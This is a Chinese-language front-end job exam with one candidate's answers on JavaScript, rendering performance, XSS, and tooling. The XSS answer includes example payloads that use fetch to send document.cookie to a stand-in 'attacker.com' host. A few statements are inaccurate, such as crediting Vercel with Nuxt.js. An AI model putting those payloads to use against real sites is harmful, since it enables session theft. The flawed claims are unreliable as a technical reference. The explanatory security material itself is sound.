三宏科技股份有限公司

2023 前端工程師徵才筆試

* 請全程由應徵者本人完成以下題目，將答案填入題目下方的方框內（字數不限）
* 答題時可透過任何方式查閱資料，但最終請寫下自己的理解或經驗
* 題目有任何疑問可使用文件註解功能詢問
* 填答完成後請來信 [hr@trident-tech.com](mailto:hr@trident-tech.com) 以進行後續流程

所有人的答案卷都是獨立的，填寫途中如果有看到其他人的游標

那大概是我們的考官無聊來逛逛，請不要緊張 ：）

開始囉！

## HTML & CSS

請依據設計稿轉成網頁，並將結果以 [CodeSandbox](https://codesandbox.io/) 或 [CodePen](https://codepen.io/) 連結方式貼於下方答案欄位。

需求如下：

* 1. [設計稿](https://www.figma.com/file/OtXrcuXF11jaD81p7k3BrO/%E7%AD%86%E8%A9%A6%E9%A1%8C-Public)
  2. 可使用任意的 HTML / CSS / JavaScript Framework
  3. Logo 僅限使用 CSS 撰寫
  4. 需有 RWD，breakpoint 可以自行設定
  5. 選單的選項要能被選擇，需做出 selected 的效果
  6. 漢堡選單按鈕只在 mobile 版顯示，預設折疊，並且能折疊/展開選單
  7. (optional) 可以此設計為基礎，額外添加自己的設計

| 連結請貼於此：  <https://codesandbox.io/p/github/YuanShuoHsu/trident/master>  <https://t398p8-3000.csb.app/> |
| --- |

## JavaScript

1. 

有一段 API 回應如上圖。

請寫出一段程式，找出 airportId 為 TPE 的 city，並印出它的 cityName

| let cityName;  for (const cityInfo of API.response.data) {  for (const airportInfo of cityInfo.airports) {  if (airportInfo.airportId === "TPE") {  cityName = cityInfo.cityName;  break;  }  }  }  console.log(cityName); |
| --- |

1. 什麼是 arrow function ？它對 this 有什麼影響？請寫下自己的理解。

| 在物件方法中，要存取物件本身可以用 this，this 的預設綁定：  1. 嚴格模式，this 預設是 undefined  2. 非嚴格模式，瀏覽器的 this 預設是 window  3. 非嚴格模式，node.js 的 this 預設是 global  要綁定 this 的物件對象可以用三種方法：bind()、call()、apply()。  const person1 = {  name: "Trident",  greeting: function (name1, name2) {  console.log(`Hello, ${name1}, ${name2}. I'm ${this.name}.`);  },  };  const person2 = { name: "許元碩", };  const boundGreeting = person1.greeting.bind(person2, "HTML", "CSS");  boundGreeting(); // Hello, HTML, CSS. I'm 許元碩.  person1.greeting.call(person2, "HTML", "CSS"); // Hello, HTML, CSS. I'm 許元碩.  person1.greeting.apply(person2, ["HTML", "CSS"]); // Hello, HTML, CSS. I'm 許元碩.  箭頭函數 (arrow function) 有兩個重要的特性：更短的函數寫法與 this 變數的非綁定。  1. 省略 function 關鍵字，並且在某些情況下省略了中、大括號和 return 關鍵字。  function greeting() {  return "Hello, Trident";  }  console.log(greeting()); // Hello, Trident  A. 省略中括號  a. 沒有參數時，需要使用中括號  b. 只有一個參數時，可以不使用中括號  c. 兩個以上參數時，需要使用中括號  B. 省略大括號  C. 省略 return  const greeting = name => `Hello, ${name}`;  console.log(greeting("Trident")); // Hello, Trident  2. 箭頭函數當中的 this 綁定的是定義時的對象，而不是使用時的對象，消除 this 執行上下文混淆的問題。  const person = {  name: 'Trident',  greeting: function() {  console.log(`Hello, ${this.name}`);  },  greetingArrow: () => {  console.log(`Hello, ${this.name}`);  }  };  person.greeting(); // Hello, Trident  person.greetingArrow(); // Hello, undefined |
| --- |

1. call by value 與 call by reference 的差別是什麼？請寫下自己的理解。

| 在 JavaScript 中，資料型別 (data type) 主要分為兩大類：原始型別 (Primitive)、物件型別 (Object)。  原始型別有七種：String、Number、Boolean、Undefined、Null、Symbol、BigInt。原始型別以外的都稱作物件型別：array、function、map……。  原始型別是 call by value，而物件型別是 call by reference。我通常會用 typeof、instanceof 運算符去確認數據類型。  複製物件型別時，為了避免 call by reference 影響原始數據的問題，有兩種處理方式：淺拷貝 (Shallow Copy)、深拷貝 (Deep Copy)  淺拷貝：使用 Object.assign() 或是擴展運算符。  const response = { name: "Trident" };  const copyResponse1 = Object.assign({}, response);  const copyResponse2 = { ...response };  copyResponse1.name = "許元碩";  copyResponse2.name = "許元碩";  console.log(response.name); // Trident  console.log(copyResponse1.name); // 許元碩  console.log(copyResponse2.name); // 許元碩  但淺拷貝只能複製第一層，若多層以上的資料還是會有 call by reference 的問題，因此可以使用深拷貝來處理多層結構的複製。  深拷貝：使用 JSON.parse()、JSON.stringify()。  const response = { name: "Trident", data: { score: [80, 90, 100] } };  const copyResponse = JSON.parse(JSON.stringify(response)); copyResponse.data.score.push(200);  console.log(response.data.score); // [80, 90, 100] console.log(copyResponse.data.score); // [80, 90, 100, 200]  處理 Ajax 請求時，取決於資料的結構，我通常會使用擴充運算符號（淺拷貝）或 JSON.parse() 和JSON.stringify()（深拷貝）來處理響應的資料。 |
| --- |

1. 什麼是 async / await ？請寫下自己的理解。

| 在 JavaScript 中，程式碼預設是同步，從上到下逐行執行，這樣的方式可能會導致阻塞，在處理大量耗時的操作時，會導致應用程式無法執行其他任務。因此 JavaScript 引入回調函數來處理非同步操作。  function fetchData(callback) {  setTimeout(function() {  callback("已獲取資料");  }, 1000);  }  fetchData(function(data) {  console.log(data);  });  然而在處理多層嵌套的回調函數時，程式碼結構會變得複雜、難以維護，形成回調地獄。  fetchData(function(data) {  console.log(data);  fetchData(function(data2) {  console.log(data2);  fetchData(function(data3) {  console.log(data3);  });  });  });  為解決回調地獄的問題，可以使用 Promise。Promise 有三種狀態：進行中、已解決（成功）、已拒絕（失敗）。可以使用 .then() 方法鍊式來處理成功狀態，以及 .catch() 處理失敗狀態。  function fetchData() {  return new Promise(function(resolve, reject) {  setTimeout(function() {  resolve("已獲取資料");  }, 1000);  });  }  fetchData()  .then(function(data) {  console.log(data);  }) .catch(function(error) {  console.error(error);  });  async / await 則是構建在 Promise 之上的語法糖，使非同步更容易理解。async 用於標記一個函數為非同步函數，await 用於等待一個 Promise 的解決。  async function fetchData() {  try {  const data = await new Promise(function(resolve, reject) {  setTimeout(function() {  resolve("已獲取資料");  }, 1000);  });  console.log(data);  } catch (error) {  console.error(error);  }  }  fetchData(); |
| --- |

1. 什麼是 Closure (閉包)？請寫下自己的理解，並舉一個應用的例子。

| 內部函數可以訪問外部函數的參數值，通常會用來做加減法器，個人覺得像悠遊卡儲值。  function createCounter() {  let count = 0;  function increment() {  count++;  console.log(count);  }  function decrement() {  count--;  console.log(count);  }  function reset() {  count = 0;  console.log(count);  }  return { increment, decrement, reset };  }  const counter = createCounter();  counter.increment(); // 1  counter.increment(); // 2  counter.decrement(); // 1  counter.reset(); // 0 |
| --- |

1. 什麼是 AJAX ？他的使用時機為何？請寫下自己的理解。

| 在 2006 年到 2012 年之間，Google 積極開發 AJAX 技術，實現不跳轉頁面進行網路請求，使得網頁不需要在每次互動時，重新載入整個頁面。因為 AJAX 技術的提升，網頁從早期傳統的多頁面應用程式 (MPA) 發展成單頁面應用程式 (SPA) 。  在 2012 年到 2016 年之間，形成現今三大主流框架 React、Vue、Angular，組件化開發將資料轉為視圖，形成前後端分離的形式，UI / UX、前端工程師、後端工程師三種職務進行分工。然而 SPA 在客戶端渲染 (CSR)，搜尋引擎爬蟲會認為網頁是空洞的，無法正確索引內容，導致搜尋引擎優化 (SEO) 的問題。為了解決這個問題，Vercel 這家公司採用伺服器端渲染 (SSR) 和靜態網站產生 (SSG) 技術，推出 Next.js 和 Nuxt.js 這兩個框架，透過伺服器端產生 HTML 頁面，提高了 SPA 的 SEO 性能。  一般常見的請求有四種：XHR、jQuery、Axios、Fetch API。  var xhttp = new XMLHttpRequest();  xhttp.onreadystatechange = function() {  if (this.readyState == 4 && this.status == 200) {  document.getElementById("demo").innerHTML = xhttp.responseText;  }  };  xhttp.open("GET", "filename", true);  xhttp.send();  由於 XHR 使用起來麻煩，實務上很少直接使用原生 XMLHttpRequest，而去使用 jQuery、Axios、Fetch API。  jQuery、Axios 都是經由 XHR 進行封裝網頁兼容度好。  jQuery 較為笨重，在輕量化框架中通常不考慮使用。  Fetch API 是網頁原生封裝，是未來的趨勢，它的出現就是來取代 XHR 的，目前在 Can I use 上的支援度在 96%，如果不需考慮舊版本瀏覽器可以直接使用，在這之前通常使用 Axios 去撰寫程式碼。  Axios、Fetch API 都是 Promise風格，Axios只有一層 Pomise，而 Fetch API 有兩層 Promise。  axios.get('https://example.com/api/data')  .then(response => {  // 處理響應  })  .catch(error => {  // 處理錯誤  });  fetch('https://example.com/api/data')  .then(response => {  if (!response.ok) {  throw new Error('網路響應不正確');  }  return response.json(); // 處理響應  })  .then(data => {  // 處理響應數據  })  .catch(error => {  // 處理錯誤  }); |
| --- |

## 效能與安全性

1. 請解釋 Browser rendering 中 layout、painting、compositing 分別在做什麼？會如何影響效能？該如何避免？請寫下自己的理解。

| 1. 瀏覽器工作的完整流程：  導航 (Navigation)、DNS 查詢、TCP 握手、TLS 協商、響應 (Response)、TCP 擁塞控制 (Congestion control)、解析 (Parsing)、建構 DOM 樹、預加載掃描器 (Preload scanner)、建構 CSSOM 樹、JavaScript 編譯、建構輔助功能樹 (Accessibility tree)、渲染 (Render) 包含（樣式 (Style)、佈局 (Layout)、繪製 (Paint)）、合成 (Compositing)、交互 (Interactivity)  2. RAIL (Response, Animate, Idle, Load)：  是 Google 團隊提出的性能模型，用於提升瀏覽器內的用戶體驗和性能，頁面初始的載入順序：Load (1s)、Idle (50ms)、Animate (16ms)、Response (100s)。  多數螢幕畫面的更新率是 60Hz，要有良好的畫面呈現須將 Animate 每幀控制在 16ms (1000 / 60)，每個 frame 瀏覽器會依序執行下列動作：JavaScript、Style、Layout、Paint、Composite。  佈局 (Layout)：計算元素佔據空間和位置。  繪製 (Paint)：填充內容，一像素一像素去填充。  合成 (Composite)：多個 layer 依照層級合成在一起。  https://csstriggers.com/  每種 CSS 屬性依據其特性，會觸發不同的動作。而渲染的佈局 (layout) 和繪製 (paint) 的步驟被觸發，會導致回流 (Reflow) 和重繪 (Repaint) 影響瀏覽器性能。  可透過一些技巧使用合成 (compositing)，來避免回流 (Reflow) 和重繪 (Repaint)。  1. 使用 transform 來移動調整元素  2. 使用 opacity 來改變元素能見度  3. 如需頻繁回流或重繪節點，可以透過 will-change 設定成獨立的圖層，可以避免該節點渲染行為影響到其他節點。 |
| --- |

1. 請說明 XSS 攻擊如何進行？該如何防禦？請寫下自己的理解。

| 跨站指令攻擊(Cross-site Script)，原本縮寫應該是 CSS，和 CSS 樣式表相仿，調整縮寫為 XSS，透過網頁開發留下的漏洞，注入惡意程式碼到網頁，讓使用者受到影響。  XSS 攻擊主要分為三種類型：儲存型 (Stored XSS)、反射型 (Reflected XSS)、DOM 型 (DOM-based XSS)。  儲存型 (Stored XSS)：攻擊者將惡意腳本儲存在目標網站的伺服器上。  <script>  fetch('https://attacker.com/steal?cookie=' + document.cookie);  </script>  反射型 (Reflected XSS)：攻擊者將惡意腳本嵌入 URL 或 HTTP 請求。  http://example.com/search?query=<script>alert('XSS')</script>  DOM 型 (DOM-based XSS)：透過修改網頁 DOM 內容，從使用者端獲取 DOM 中的數據。  http://example.com/page#<img src='x' onerror='fetch("https://attacker.com/steal?cookie=" + document.cookie)'>  防禦方式主要分為三種：輸入驗證、輸出轉譯、使用 HttpOnlyCookie。  1. 輸入驗證：對用戶輸入的數據進行嚴格驗證，防止攻擊者在表單元件插入惡意腳本。  2. 輸出轉譯：將用戶輸入的數據進行 HTML 或 JavaScript 的轉義處理，防止惡意腳本執行。  3. 使用 HttpOnlyCookie  設置 cookie 時使用 HttpOnly，瀏覽器向伺服器發請求時就會帶 cookie，防止 JavaScript 訪問 document.cookie 取得 cookie。 |
| --- |

## 開發經驗及其他

1. 平常使用什麼編輯器與瀏覽器？還有哪些輔助開發的工具？

| 前端開發：HTML、CSS、JavaScript  React 框架：Create React App、React Router、Redux、Redux Toolkit、Vite、Next.js  Vue 框架：Vue CLI、Vue Router、Pinia、Vite  後端開發：Node.js、Express、Postman、MongoDB  CSS 框架：Material UI、Ant Design、Bootstrap、Tailwind CSS  相關技術：RWD、Sass/SCSS、CSS Modules、BEM、styled-components、RESTful API、TypeScript、WebSocket  單元測試：Jest、React Testing Library  版本控管：Git、Git Flow、Firebase、Vercel  開發套件：Chart.js、Font Awesome、Google Fonts、i18next、Leaflet 、Swiper、Three.js  開發環境：Visual Studio Code、NVM、NPM、Prettier、ESLint、Lighthouse、Google、Safari |
| --- |

1. 請寫下你使用版本控制系統的經驗。

| Git 基本操作：初始化 (Init)、檢查版本狀態 (Status)、加入版本控制 (Add)、提交 (Commit)、查看版本紀錄 (Log)、克隆 (Clone)、創建分支 (Branch)、切換分支 (Checkout)、合併分支 (Merge)、推送 (Push)、拉取 (Pull)...等操作。  Git Flow 工作流程：建立主分支 (main 或 master)、開發分支 (develop)、特性分支 (feature)、發布分支 (release)、熱修復分支 (hotfix) 等分支，來管理程式碼的開發和發布。  完成分支開發後，創建 Pull Request，其他團隊成員代碼審查 (Code Review) 並進行評論 (Comment)，符合要求後合併 (Merge) 到目標分支中。 |
| --- |

1. 使用過哪些 web 相關的 framework？對於開發時使用 framework 有什麼想法？

| 使用過的框架可參照 9.  整體取決於項目的需求和團隊的背景，學習曲線、生態系、性能、擴展性和可維護性等。  React 主要由 Render Props 和 HOC 構成，學習曲線平穩，較沒有版本迭代問題，版本 16 後，底層機制改成 React Fiber 提升效能，官方技術規範統一，React Router、TypeScript、Redux、Jest、React Testing Library，是目前最主流的前端開發框架，項目由 JSX 模板撰寫，單向數據流減少混亂，適合大型專案開發，可維護性極高。  Vue 學習曲線較為陡峭，尤其 Vue2、Vue3 迭代嚴重，項目基本只能重構，Object.defineProperty() / Proxy、Options API / Compostion API、Vue CLI / Vite、Vetur / Volar、Vuex / Pinia。華語生態系資源豐富，語法糖使用非常方便，尤其是雙向數據綁定的功能，底層機制徹底解決 React JSX 模板語法遍歷問題，但官方沒有統一技術規範，須由資深工程師內部自行討論奠定，可維護性較差，Code Style 因人而異，可快速起架專案，適合小項目開發。 |
| --- |

1. 是否有做過 Unit Test 或 E2E Test？若有請分享你使用的工具及經驗。

| 單元測試：Jest、React Testing Library  端對端測試：Selenium  Jest 是一個廣泛使用的 JavaScript 單元測試框架，而 React Testing Library 是用於協助 React 的測試工具，在最新版 Create React App 中會內建配置兩者，通常我會搭配一起使用。  Selenium 是一個用於自動化瀏覽器測試的工具，早期在撰寫 Python 時，會使用它來控制瀏覽器行為，來模擬使用者操作。 |
| --- |

1. 覺得這份試題的難度如何？有什麼想對出題者說的話嗎？

| 整體難度偏易，但內容豐富需花較多時間作答。  HTML & CSS：  可以規範符合公司的技術指標撰寫，釐清未來專案需求。像是 CSS framework、JavaScript Framework，沒有特別說明時，我的理解會偏向撰寫原生程式碼，以檢測前端工程師刻板的基本能力，整體會偏向個人代碼風格。有 UI / UX 工程師處理 Figma 挺好的，但部分設計不太美觀我有做些微調。另外，hamburgur icon 命名好像錯了，應該是 hamburger icon？個人覺得 Sidebar 可以分成兩個組件 Header、Sidebar，未來業務邏輯變更複雜時，RWD 才不會混亂難以維護，當然各有優缺點，所以我這邊還是根據題意去撰寫。白頭翁的 Logo 蠻有趣的，幾何圖形設計想了一下。  JavaScript：  題目出得很好，很有邏輯與漸進性，可以複習 ES6 的知識點。但後面不小心越寫越多概念一直延伸，如能放在面試過程中作答，會更有鑑別度，人力考量需求可以嘗試。  效能與安全性： 與上述 JavaScript 題目感受相同。  開發經驗及其他：  能感受出是注重團隊協作的技術範疇。 |
| --- |